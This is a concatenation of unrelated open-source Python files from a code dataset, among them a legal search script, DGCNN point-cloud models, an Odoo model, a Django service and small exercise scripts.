boolean.rank_results_bool(results_bool, results_ex_bool, results_lnc)\n else:\n results = tf_idf.eval_free_text_query(new_query, dictionary, postings)\n\n # Rocchio\n # query_rocchio = rocchio.rocchio(query_str, results[:3], dictionary, postings)\n # results = tf_idf.eval_free_text_query(query_rocchio, dictionary, postings, is_boolean=False, is_rocchio=True)\n\n # Write results to file\n write_data = util.format_results(results)\n output_f.write(write_data)\n\n output_f.close()\n\n\ndictionary_file = postings_file = query_file = file_of_output = None\n\ntry:\n opts, args = getopt.getopt(sys.argv[1:], 'd:p:q:o:')\nexcept getopt.GetoptError:\n usage()\n sys.exit(2)\n\nfor o, a in opts:\n if o == '-d':\n dictionary_file = a\n elif o == '-p':\n postings_file = a\n elif o == '-q':\n query_file = a\n elif o == '-o':\n file_of_output = a\n else:\n assert False, \"unhandled option\"\n\nif dictionary_file == None or postings_file == None or query_file == None or file_of_output == None:\n usage()\n sys.exit(2)\n\nrun_search(dictionary_file, postings_file, query_file, file_of_output)\n","repo_name":"amrut-prabhu/information-retrieval","sub_path":"legal-case-retrieval/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42415908072","text":"\"\"\"Example of a custom experiment wrapped around an RLlib Algorithm.\"\"\"\nimport os\nimport sys\nfrom typing import Type\nimport gym\nimport pygame\n# from ray.air.integrations.wandb import WandbLoggerCallback\n# from artist.utils.custom_wandb import WandbLoggerCallback\nfrom pygame.locals import *\n\nfrom rl.utils import training_utils, config_utils\n\nimport ray.rllib.algorithms.ppo as ppo\nfrom ray.tune.registry import register_env\n\n\ndef manual_eval(eval_algo: str, env_type: Type[gym.Env]) -> None:\n pygame.init()\n clock = pygame.time.Clock()\n env = env_type(render=True)\n\n obs = env.reset()\n env.game.render()\n pygame.display.update()\n is_done = False\n\n while True:\n while not is_done:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n action = eval_algo.compute_single_action(obs)\n obs, reward, is_done, _ = env.step(action)\n env.game.render()\n pygame.display.update()\n clock.tick(10)\n # env = ShroomCollectorEnv(config=None, render=True)\n obs = env.reset()\n is_done = False\n\n","repo_name":"isknight/rl_intro","sub_path":"rl/eval/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70502219074","text":"# -*- coding: utf-8 -*-\nfrom datetime import timedelta\nfrom odoo import models, fields, api\n\n\nclass course(models.Model):\n _name = 'open_academy.course'\n _description = 'Modelo de curso'\n title = fields.Char(string='Nombre del curso')\n description = fields.Text(string='Breve descripcion del curso')\n user = fields.Many2one(comodel_name='res.users', string='Usario responsable')\n sessions = fields.One2many(comodel_name='open_academy.session', inverse_name='course', string='Sesiones')\n\n\n def copy(self, default=None):\n default = dict(default or {})\n\n copied_count = self.search_count(\n [('title', '=like', u\"Copy of {}%\".format(self.title))])\n if not copied_count:\n new_name = u\"Copy of {}\".format(self.title)\n else:\n new_name = u\"Copy of {} ({})\".format(self.title, copied_count)\n\n default['title'] = new_name\n return super(course, self).copy(default)\n\n _sql_constraints = [\n ('title_description_check',\n 'CHECK(title != description)',\n 'La descripcion del curso no debe ser la mismo que el nombre'),\n ('title_unique',\n 'UNIQUE(title)',\n 'El nombre del curso debe ser Unico'),\n ]\n","repo_name":"larizasandoval/odoo_module","sub_path":"models/course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41213117746","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n@Author: Yue Wang\n@Contact: yuewangx@mit.edu\n@File: model.py\n@Time: 2018/10/13 6:35 PM\n\nModified by \n@Author: An Tao\n@Contact: ta19@mails.tsinghua.edu.cn\n@Time: 2020/3/9 9:32 PM\n\"\"\"\n\n\nimport os\nimport sys\nimport copy\nimport math\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.init as init\nimport torch.nn.functional as F\n\n\ndef knn(x, k):\n inner = -2*torch.matmul(x.transpose(2, 1), x)\n xx = torch.sum(x**2, dim=1, keepdim=True)\n pairwise_distance = -xx - inner - xx.transpose(2, 1)\n \n idx = pairwise_distance.topk(k=k, dim=-1)[1] # (batch_size, num_points, k)\n return idx\n\n\ndef get_graph_feature(x, k=20, idx=None, dim9=False):\n batch_size = x.size(0)\n num_points = x.size(2)\n x = x.view(batch_size, -1, num_points)\n if idx is None:\n if dim9 == False:\n idx = knn(x, k=k) # (batch_size, num_points, k)\n else:\n idx = knn(x[:, 6:], k=k)\n device = torch.device('cuda')\n\n idx_base = torch.arange(0, batch_size, device=device).view(-1, 1, 1)*num_points\n\n idx = idx + idx_base\n\n idx = idx.view(-1)\n \n _, num_dims, _ = x.size()\n\n x = x.transpose(2, 1).contiguous() # (batch_size, num_points, num_dims) -> (batch_size*num_points, num_dims) # batch_size * num_points * k + range(0, batch_size*num_points)\n feature = x.view(batch_size*num_points, -1)[idx, :]\n feature = feature.view(batch_size, num_points, k, num_dims) \n x = x.view(batch_size, num_points, 1, num_dims).repeat(1, 1, k, 1)\n \n feature = torch.cat((feature-x, x), dim=3).permute(0, 3, 1, 2).contiguous()\n \n return feature # (batch_size, 2*num_dims, num_points, k)\n\n\nclass PointNet(nn.Module):\n def __init__(self, args, output_channels=40):\n super(PointNet, self).__init__()\n self.args = args\n self.conv1 = nn.Conv1d(3, 64, kernel_size=1, bias=False)\n self.conv2 = nn.Conv1d(64, 64, kernel_size=1, bias=False)\n self.conv3 = nn.Conv1d(64, 64, kernel_size=1, bias=False)\n self.conv4 = nn.Conv1d(64, 128, kernel_size=1, bias=False)\n self.conv5 = nn.Conv1d(128, args.emb_dims, kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm1d(64)\n self.bn2 = nn.BatchNorm1d(64)\n self.bn3 = nn.BatchNorm1d(64)\n self.bn4 = nn.BatchNorm1d(128)\n self.bn5 = nn.BatchNorm1d(args.emb_dims)\n self.linear1 = nn.Linear(args.emb_dims, 512, bias=False)\n self.bn6 = nn.BatchNorm1d(512)\n self.dp1 = nn.Dropout()\n self.linear2 = nn.Linear(512, output_channels)\n\n def forward(self, x):\n x = F.relu(self.bn1(self.conv1(x)))\n x = F.relu(self.bn2(self.conv2(x)))\n x = F.relu(self.bn3(self.conv3(x)))\n x = F.relu(self.bn4(self.conv4(x)))\n x = F.relu(self.bn5(self.conv5(x)))\n x = F.adaptive_max_pool1d(x, 1).squeeze()\n x = F.relu(self.bn6(self.linear1(x)))\n x = self.dp1(x)\n x = self.linear2(x)\n return x\n\n\nclass DGCNN_cls(nn.Module):\n def __init__(self, args, output_channels=40):\n super(DGCNN_cls, self).__init__()\n self.args = args\n self.k = args.k\n \n self.bn1 = nn.BatchNorm2d(64)\n self.bn2 = nn.BatchNorm2d(64)\n self.bn3 = nn.BatchNorm2d(128)\n self.bn4 = nn.BatchNorm2d(256)\n self.bn5 = nn.BatchNorm1d(args.emb_dims)\n\n self.conv1 = nn.Sequential(nn.Conv2d(6, 64, kernel_size=1, bias=False),\n self.bn1,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv2 = nn.Sequential(nn.Conv2d(64*2, 64, kernel_size=1, bias=False),\n self.bn2,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv3 = nn.Sequential(nn.Conv2d(64*2, 128, kernel_size=1, bias=False),\n self.bn3,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv4 = nn.Sequential(nn.Conv2d(128*2, 256, kernel_size=1, bias=False),\n self.bn4,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv5 = nn.Sequential(nn.Conv1d(512, args.emb_dims, kernel_size=1, bias=False),\n self.bn5,\n nn.LeakyReLU(negative_slope=0.2))\n self.linear1 = nn.Linear(args.emb_dims*2, 512, bias=False)\n self.bn6 = nn.BatchNorm1d(512)\n self.dp1 = nn.Dropout(p=args.dropout)\n self.linear2 = nn.Linear(512, 256)\n self.bn7 = nn.BatchNorm1d(256)\n self.dp2 = nn.Dropout(p=args.dropout)\n self.linear3 = nn.Linear(256, output_channels)\n\n def forward(self, x):\n batch_size = x.size(0)\n x = get_graph_feature(x, k=self.k) # (batch_size, 3, num_points) -> (batch_size, 3*2, num_points, k)\n x = self.conv1(x) # (batch_size, 3*2, num_points, k) -> (batch_size, 64, num_points, k)\n x1 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points)\n\n x = get_graph_feature(x1, k=self.k) # (batch_size, 64, num_points) -> (batch_size, 64*2, num_points, k)\n x = self.conv2(x) # (batch_size, 64*2, num_points, k) -> (batch_size, 64, num_points, k)\n x2 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points)\n\n x = get_graph_feature(x2, k=self.k) # (batch_size, 64, num_points) -> (batch_size, 64*2, num_points, k)\n x = self.conv3(x) # (batch_size, 64*2, num_points, k) -> (batch_size, 128, num_points, k)\n x3 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 128, num_points, k) -> (batch_size, 128, num_points)\n\n x = get_graph_feature(x3, k=self.k) # (batch_size, 128, num_points) -> (batch_size, 128*2, num_points, k)\n x = self.conv4(x) # (batch_size, 128*2, num_points, k) -> (batch_size, 256, num_points, k)\n x4 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 256, num_points, k) -> (batch_size, 256, num_points)\n\n x = torch.cat((x1, x2, x3, x4), dim=1) # (batch_size, 64+64+128+256, num_points)\n\n x = self.conv5(x) # (batch_size, 64+64+128+256, num_points) -> (batch_size, emb_dims, num_points)\n x1 = F.adaptive_max_pool1d(x, 1).view(batch_size, -1) # (batch_size, emb_dims, num_points) -> (batch_size, emb_dims)\n x2 = F.adaptive_avg_pool1d(x, 1).view(batch_size, -1) # (batch_size, emb_dims, num_points) -> (batch_size, emb_dims)\n x = torch.cat((x1, x2), 1) # (batch_size, emb_dims*2)\n\n x = F.leaky_relu(self.bn6(self.linear1(x)), negative_slope=0.2) # (batch_size, emb_dims*2) -> (batch_size, 512)\n x = self.dp1(x)\n x = F.leaky_relu(self.bn7(self.linear2(x)), negative_slope=0.2) # (batch_size, 512) -> (batch_size, 256)\n x = self.dp2(x)\n x = self.linear3(x) # (batch_size, 256) -> (batch_size, output_channels)\n \n return x\n\n\nclass Transform_Net(nn.Module):\n def __init__(self):\n super(Transform_Net, self).__init__()\n self.k = 3\n\n self.bn1 = nn.BatchNorm2d(64)\n self.bn2 = nn.BatchNorm2d(128)\n self.bn3 = nn.BatchNorm1d(1024)\n\n self.conv1 = nn.Sequential(nn.Conv2d(6, 64, kernel_size=1, bias=False),\n self.bn1,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv2 = nn.Sequential(nn.Conv2d(64, 128, kernel_size=1, bias=False),\n self.bn2,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv3 = nn.Sequential(nn.Conv1d(128, 1024, kernel_size=1, bias=False),\n self.bn3,\n nn.LeakyReLU(negative_slope=0.2))\n\n self.linear1 = nn.Linear(1024, 512, bias=False)\n self.bn3 = nn.BatchNorm1d(512)\n self.linear2 = nn.Linear(512, 256, bias=False)\n self.bn4 = nn.BatchNorm1d(256)\n\n self.transform = nn.Linear(256, 3*3)\n init.constant_(self.transform.weight, 0)\n init.eye_(self.transform.bias.view(3, 3))\n\n def forward(self, x):\n batch_size = x.size(0)\n\n x = self.conv1(x) # (batch_size, 3*2, num_points, k) -> (batch_size, 64, num_points, k)\n x = self.conv2(x) # (batch_size, 64, num_points, k) -> (batch_size, 128, num_points, k)\n x = x.max(dim=-1, keepdim=False)[0] # (batch_size, 128, num_points, k) -> (batch_size, 128, num_points)\n\n x = self.conv3(x) # (batch_size, 128, num_points) -> (batch_size, 1024, num_points)\n x = x.max(dim=-1, keepdim=False)[0] # (batch_size, 1024, num_points) -> (batch_size, 1024)\n\n x = F.leaky_relu(self.bn3(self.linear1(x)), negative_slope=0.2) # (batch_size, 1024) -> (batch_size, 512)\n x = F.leaky_relu(self.bn4(self.linear2(x)), negative_slope=0.2) # (batch_size, 512) -> (batch_size, 256)\n\n x = self.transform(x) # (batch_size, 256) -> (batch_size, 3*3)\n x = x.view(batch_size, 3, 3) # (batch_size, 3*3) -> (batch_size, 3, 3)\n\n return x\n\n\n\n\n\n\n\n\nclass DGCNN_partseg(nn.Module):\n def __init__(self, seg_num_all):\n super(DGCNN_partseg, self).__init__()\n self.seg_num_all = seg_num_all\n self.k = 40 \n emb_dims = 1024\n dropout = 0.5\n self.transform_net = Transform_Net()\n \n self.bn1 = nn.BatchNorm2d(64)\n self.bn2 = nn.BatchNorm2d(64)\n self.bn3 = nn.BatchNorm2d(64)\n self.bn4 = nn.BatchNorm2d(64)\n self.bn5 = nn.BatchNorm2d(64)\n self.bn6 = nn.BatchNorm1d(emb_dims)\n self.bn7 = nn.BatchNorm1d(64)\n self.bn8 = nn.BatchNorm1d(256)\n self.bn9 = nn.BatchNorm1d(256)\n self.bn10 = nn.BatchNorm1d(128)\n\n self.conv1 = nn.Sequential(nn.Conv2d(6, 64, kernel_size=1, bias=False),\n self.bn1,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv2 = nn.Sequential(nn.Conv2d(64, 64, kernel_size=1, bias=False),\n self.bn2,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv3 = nn.Sequential(nn.Conv2d(64*2, 64, kernel_size=1, bias=False),\n self.bn3,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv4 = nn.Sequential(nn.Conv2d(64, 64, kernel_size=1, bias=False),\n self.bn4,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv5 = nn.Sequential(nn.Conv2d(64*2, 64, kernel_size=1, bias=False),\n self.bn5,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv6 = nn.Sequential(nn.Conv1d(192, emb_dims, kernel_size=1, bias=False),\n self.bn6,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv7 = nn.Sequential(nn.Conv1d(16, 64, kernel_size=1, bias=False),\n self.bn7,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv8 = nn.Sequential(nn.Conv1d(1280, 256, kernel_size=1, bias=False),\n self.bn8,\n nn.LeakyReLU(negative_slope=0.2))\n self.dp1 = nn.Dropout(p=dropout)\n self.conv9 = nn.Sequential(nn.Conv1d(256, 256, kernel_size=1, bias=False),\n self.bn9,\n nn.LeakyReLU(negative_slope=0.2))\n self.dp2 = nn.Dropout(p=dropout)\n self.conv10 = nn.Sequential(nn.Conv1d(256, 128, kernel_size=1, bias=False),\n self.bn10,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv11 = nn.Conv1d(128, self.seg_num_all, kernel_size=1, bias=False)\n \n\n def forward(self, x, l):\n batch_size = x.size(0)\n num_points = x.size(2)\n\n x0 = get_graph_feature(x, k=self.k) # (batch_size, 3, num_points) -> (batch_size, 3*2, num_points, k)\n t = self.transform_net(x0) # (batch_size, 3, 3)\n x = x.transpose(2, 1) # (batch_size, 3, num_points) -> (batch_size, num_points, 3)\n x = torch.bmm(x, t) # (batch_size, num_points, 3) * (batch_size, 3, 3) -> (batch_size, num_points, 3)\n x = x.transpose(2, 1) # (batch_size, num_points, 3) -> (batch_size, 3, num_points)\n\n x = get_graph_feature(x, k=self.k) # (batch_size, 3, num_points) -> (batch_size, 3*2, num_points, k)\n x = self.conv1(x) # (batch_size, 3*2, num_points, k) -> (batch_size, 64, num_points, k)\n x = self.conv2(x) # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points, k)\n x1 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points)\n\n x = get_graph_feature(x1, k=self.k) # (batch_size, 64, num_points) -> (batch_size, 64*2, num_points, k)\n x = self.conv3(x) # (batch_size, 64*2, num_points, k) -> (batch_size, 64, num_points, k)\n x = self.conv4(x) # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points, k)\n x2 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points)\n\n x = get_graph_feature(x2, k=self.k) # (batch_size, 64, num_points) -> (batch_size, 64*2, num_points, k)\n x = self.conv5(x) # (batch_size, 64*2, num_points, k) -> (batch_size, 64, num_points, k)\n x3 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points)\n\n x = torch.cat((x1, x2, x3), dim=1) # (batch_size, 64*3, num_points)\n\n x = self.conv6(x) # (batch_size, 64*3, num_points) -> (batch_size, emb_dims, num_points)\n x = x.max(dim=-1, keepdim=True)[0] # (batch_size, emb_dims, num_points) -> (batch_size, emb_dims, 1)\n\n l = l.view(batch_size, -1, 1) # (batch_size, num_categoties, 1)\n l = self.conv7(l) # (batch_size, num_categoties, 1) -> (batch_size, 64, 1)\n\n x = torch.cat((x, l), dim=1) # (batch_size, 1088, 1)\n x = x.repeat(1, 1, num_points) # (batch_size, 1088, num_points)\n\n x = torch.cat((x, x1, x2, x3), dim=1) # (batch_size, 1088+64*3, num_points)\n\n x = self.conv8(x) # (batch_size, 1088+64*3, num_points) -> (batch_size, 256, num_points)\n x = self.dp1(x)\n x = self.conv9(x) # (batch_size, 256, num_points) -> (batch_size, 256, num_points)\n x = self.dp2(x)\n x = self.conv10(x) # (batch_size, 256, num_points) -> (batch_size, 128, num_points)\n x = self.conv11(x) # (batch_size, 256, num_points) -> (batch_size, seg_num_all, num_points)\n \n return x\n\n\nfrom scipy.spatial.transform import Rotation as R\n\nclass DGCNN_semantic_grasp(nn.Module):\n def __init__(self, args):\n super(DGCNN_semantic_grasp, self).__init__()\n self.args = args\n\n # loading dgcnn\n self.device = torch.device(\"cuda\" if args.cuda else \"cpu\")\n self.seg_model = DGCNN_partseg(args, args.seg_num).to(self.device)\n self.seg_model = nn.DataParallel(self.seg_model)\n self.seg_model.load_state_dict(torch.load('pretrained/model.partseg.t7'))\n self.seg_model.eval()\n\n def get_transformed_handle(self, transform):\n # transform B x 4 X 4\n gripper_pts = np.array([\n [-0.0, 0.0000599553131906, 0.0672731392979622],\n [-0.0, 0.0000599553131906, -0.0032731392979622]\n ])\n\n final_pts = gripper_pts @ np.linalg.inv(transform[:, :3,:3])\n \n final_pts += np.expand_dims(transform[:,:3,3], axis=1)\n return torch.from_numpy(final_pts)\n\n def get_distance_from_clusters(self, point, centroid1, centroid2):\n cents = torch.cat((centroid1, centroid2), 0)\n dists = torch.cdist(point, cents, p=2.0)\n return dists\n\n def forward(self, quaternion, translation, pc, label_one_hot):\n\n r = R.from_quat(quaternion.detach().cpu())\n transform = np.eye(4)\n transform[:3,:3] = r.as_matrix()\n transform[:3,3] = translation.detach().cpu()\n\n\n\n # transform = transform.e\n transform = np.random.randn(10,4,4)\n handle_pts = self.get_transformed_handle(transform)\n\n ###############\n # B X 2 X 3\n ###############\n\n # print(handle_pts.size())\n # exit()\n\n # PC: B x 3 x 2048\n # label: B x 16\n pc = torch.randn(10,3,2048).to(self.device)\n label_one_hot = torch.randn(10,16).to(self.device)\n seg_pred = self.seg_model(pc, label_one_hot)\n \n # seg_pred: B x 50 x 2048\n\n pred = seg_pred.max(dim=1)[1]\n pred -= torch.min(pred)\n\n # pred: B x 2048\n \n pc = pc.permute(0, 2, 1)\n # PC: B x 2048 x 3\n\n\n print((pred==1).size())\n cluster1 = pc[pred==0]\n cluster2 = pc[pred==1]\n print(cluster1.size())\n exit()\n \n # cent1 = torch.mean(cluster1, 0)\n # cent2 = torch.mean(cluster2, 0)\n # print(cent1.size())\n # print(cent2.size())\n\n # exit()\n\n\n cent1 = torch.mean(pc[pred==0], 0)\n cent2 = torch.mean(pc[pred==1], 0)\n\n scores = self.get_distance_from_clusters(handle_pts[:,0], cent1, cent2)\n return scores\n\n \n\n\n\n\n\nclass DGCNN_semseg(nn.Module):\n def __init__(self, args):\n super(DGCNN_semseg, self).__init__()\n self.args = args\n self.k = args.k\n \n self.bn1 = nn.BatchNorm2d(64)\n self.bn2 = nn.BatchNorm2d(64)\n self.bn3 = nn.BatchNorm2d(64)\n self.bn4 = nn.BatchNorm2d(64)\n self.bn5 = nn.BatchNorm2d(64)\n self.bn6 = nn.BatchNorm1d(args.emb_dims)\n self.bn7 = nn.BatchNorm1d(512)\n self.bn8 = nn.BatchNorm1d(256)\n\n self.conv1 = nn.Sequential(nn.Conv2d(18, 64, kernel_size=1, bias=False),\n self.bn1,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv2 = nn.Sequential(nn.Conv2d(64, 64, kernel_size=1, bias=False),\n self.bn2,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv3 = nn.Sequential(nn.Conv2d(64*2, 64, kernel_size=1, bias=False),\n self.bn3,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv4 = nn.Sequential(nn.Conv2d(64, 64, kernel_size=1, bias=False),\n self.bn4,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv5 = nn.Sequential(nn.Conv2d(64*2, 64, kernel_size=1, bias=False),\n self.bn5,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv6 = nn.Sequential(nn.Conv1d(192, args.emb_dims, kernel_size=1, bias=False),\n self.bn6,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv7 = nn.Sequential(nn.Conv1d(1216, 512, kernel_size=1, bias=False),\n self.bn7,\n nn.LeakyReLU(negative_slope=0.2))\n self.conv8 = nn.Sequential(nn.Conv1d(512, 256, kernel_size=1, bias=False),\n self.bn8,\n nn.LeakyReLU(negative_slope=0.2))\n self.dp1 = nn.Dropout(p=args.dropout)\n self.conv9 = nn.Conv1d(256, 13, kernel_size=1, bias=False)\n \n\n def forward(self, x):\n batch_size = x.size(0)\n num_points = x.size(2)\n\n x = get_graph_feature(x, k=self.k, dim9=True) # (batch_size, 9, num_points) -> (batch_size, 9*2, num_points, k)\n x = self.conv1(x) # (batch_size, 9*2, num_points, k) -> (batch_size, 64, num_points, k)\n x = self.conv2(x) # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points, k)\n x1 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points)\n\n x = get_graph_feature(x1, k=self.k) # (batch_size, 64, num_points) -> (batch_size, 64*2, num_points, k)\n x = self.conv3(x) # (batch_size, 64*2, num_points, k) -> (batch_size, 64, num_points, k)\n x = self.conv4(x) # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points, k)\n x2 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points)\n\n x = get_graph_feature(x2, k=self.k) # (batch_size, 64, num_points) -> (batch_size, 64*2, num_points, k)\n x = self.conv5(x) # (batch_size, 64*2, num_points, k) -> (batch_size, 64, num_points, k)\n x3 = x.max(dim=-1, keepdim=False)[0] # (batch_size, 64, num_points, k) -> (batch_size, 64, num_points)\n\n x = torch.cat((x1, x2, x3), dim=1) # (batch_size, 64*3, num_points)\n\n x = self.conv6(x) # (batch_size, 64*3, num_points) -> (batch_size, emb_dims, num_points)\n x = x.max(dim=-1, keepdim=True)[0] # (batch_size, emb_dims, num_points) -> (batch_size, emb_dims, 1)\n\n x = x.repeat(1, 1, num_points) # (batch_size, 1024, num_points)\n x = torch.cat((x, x1, x2, x3), dim=1) # (batch_size, 1024+64*3, num_points)\n\n x = self.conv7(x) # (batch_size, 1024+64*3, num_points) -> (batch_size, 512, num_points)\n x = self.conv8(x) # (batch_size, 512, num_points) -> (batch_size, 256, num_points)\n x = self.dp1(x)\n x = self.conv9(x) # (batch_size, 256, num_points) -> (batch_size, 13, num_points)\n \n return x","repo_name":"tasbolat1/dgcnn","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":22458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19489866656","text":"#!/usr/bin/env python3\n\nimport fileinput\n\nwith fileinput.input() as fp:\n k,n,w = list(map(lambda n: int(n), fp.readline().strip().split(' ')))\n \n t = 0 \n for i in range(w):\n t += k * (i+1)\n\n if n > t:\n print(0)\n else:\n print(t-n)\n\t\t\n","repo_name":"bujiie/codeforces","sub_path":"problems/800_Soldier_and_Bananas_A/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17865200876","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom core.models import Companies, Employees\n\nfrom .cities import get_city\nfrom .common import change_file_size, rename_in_uuid\nfrom .countries import get_country\nfrom .positions import get_positions\n\nif TYPE_CHECKING:\n from core.bussiness_logic.dto import EmployeeDTO\n\n\ndef add_employee(data: EmployeeDTO, company_id: int) -> None:\n positions = get_positions(positions=data.position)\n\n data.photo = rename_in_uuid(data.photo)\n data.photo = change_file_size(data.photo)\n\n city = get_city(request_city=data.city)\n country = get_country(request_country=data.country)\n company = Companies.objects.get(id=company_id)\n\n employee_db = Employees.objects.create(\n name=data.name,\n surname=data.surname,\n country=country,\n city=city,\n company=company,\n email=data.email,\n phone=data.phone,\n password=data.password,\n photo=data.photo,\n )\n employee_db.position.set(positions)\n\n return None\n\n\ndef get_employees_company(company: str) -> list[Employees]:\n employees_db = Employees.objects.prefetch_related(\"position\").select_related(\n \"country\", \"city\", \"company\"\n )\n\n employees_db = employees_db.filter(company__name=company)\n\n return list(employees_db)\n","repo_name":"EugeniRosh/job_board","sub_path":"src/job_board/core/bussiness_logic/servises/employee.py","file_name":"employee.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39561444234","text":"import math #importuje biblioteke matematyczną\n\nzmienna = \"Hello world\" #przypisujemy wartość do zmiennej \"zmienna\"\nliczba = 456,60 #definiujemy liczbę\nliczba_calkowita = 6\nilosc_jablek = 4\nprawda_fałsz = True #może mieć wartość True albo False (tak/nie)\n\nlista = [1,2,3,4,5]\n\nsłownik = {\"Adam\":227677300, \"Beata\":\"zielony\"}\n\nprint('Hello, World!')\nprint(zmienna)\nprint(prawda_fałsz)\nprint(zmienna + \"5\") #łączenie dwóch tekstów\n\n#for i in range(1,10): #powtórz zawartość 10 razy\n #test\n #test2\n#brak wcięcia - koniec pętli\n\nprint(1)\n\nx=1\ny=2\nif (x > y):\n print(\"X większe od y!\")\nelse:\n print(\"X mniejsze od y!\")","repo_name":"pkiczko/GCKChotomow","sub_path":"dzien1.py","file_name":"dzien1.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16045805863","text":"\nclass Model:\n\n # def __init__(self, title, category, description, image):\n # self.title = title\n # self.category = category\n # self.description = description\n # self.image = image \n\n def __repr__(self) -> str:\n return f\"\"\"\n Title: {self.title}\n Category: {self.category}\n Category Code: {self.category_code}\n Description: {self.description}\n Image URL: {self.image}\n Other: {self.other_details}\n Highlights: {self.highlights}\n Expectation: {self.expectation}\n \\n\n \"\"\"\n\n def get_primary(self, title, category, description, image, category_code):\n self.category_code = category_code\n self.title = title\n self.category = category\n self.description = description\n self.image = image \n\n def get_other_details(self, other_details):\n _other_details = []\n for detail in other_details:\n _other_details.append(detail.text)\n self.other_details = _other_details\n \n\n\n def get_highlights(self, highlights):\n items = []\n for item in highlights:\n items.append(item.text)\n self.highlights = items\n\n def get_expectation(self, expectation):\n self.expectation = expectation\n\n def raw_to_json(self):\n data = {}\n data['title'] = self.title\n data['image'] = self.image\n data['category'] = self.category\n data['category_code'] = self.category_code\n data['description'] = self.description \n data['other'] = self.other_details\n data['highlights'] = self.highlights\n data['expectation'] = self.expectation\n return data\n","repo_name":"vondivino/pelago","sub_path":"api/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7898210117","text":"import random\nfrom reportlab.pdfgen import canvas\nfrom reportlab import platypus\nfrom reportlab.lib.units import inch\nfrom reportlab.lib.styles import getSampleStyleSheet\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.pdfbase import pdfmetrics\nfrom datetime import datetime\n\npdfmetrics.registerFont(TTFont('hei', 'SIMHEI.TTF'))\nStyle=getSampleStyleSheet()\n\ndata_regroup = [['10 ', ' +', ' 4 ',' = '],\n\t ['10 ', ' +', ' 1 ',' = '],\n\t [' ', '', '',' '],\n\t ['10 ', ' +', ' 10',' = '],\n\t [' 4', ' +', ' 1 ',' = '],\n\t [' ', '', '',' '],\n\t ['14 ', ' +', ' 11',' = ']]\n\ndef getRegroup(a,b):\n\ttenth1 = a-a%10\n\tsingle1 = a%10\n\ttenth2 = b-b%10\n\tsingle2 = b%10\n\titem1 = ['%s '%tenth1, ' +', ' %s '%single1,' = ']\n\titem2 = ['%s '%tenth2, ' +', ' %s '%single2,' = ']\n\titem3 = [' ', ' ', ' ',' ']\n\titem4 = ['%s '%tenth1, ' +', ' %s'%tenth2,' = ']\n\titem5 = [' %s'%single1, ' +', ' %s '%single2,' = ']\n\titem6 = [' ', '', '',' ']\n\titem7 = [' ', '', '',' ']\n\titem8 = ['%s '%a, ' +', ' %s'%b,' = ']\n\tdata=[]\n\tdata.append(item1)\n\tdata.append(item2)\n\tdata.append(item3)\n\tdata.append(item4)\n\tdata.append(item5)\n\tdata.append(item6)\n\tdata.append(item7)\n\tdata.append(item8)\n\tprint(data)\n\treturn data\n\tpass\n\ndef 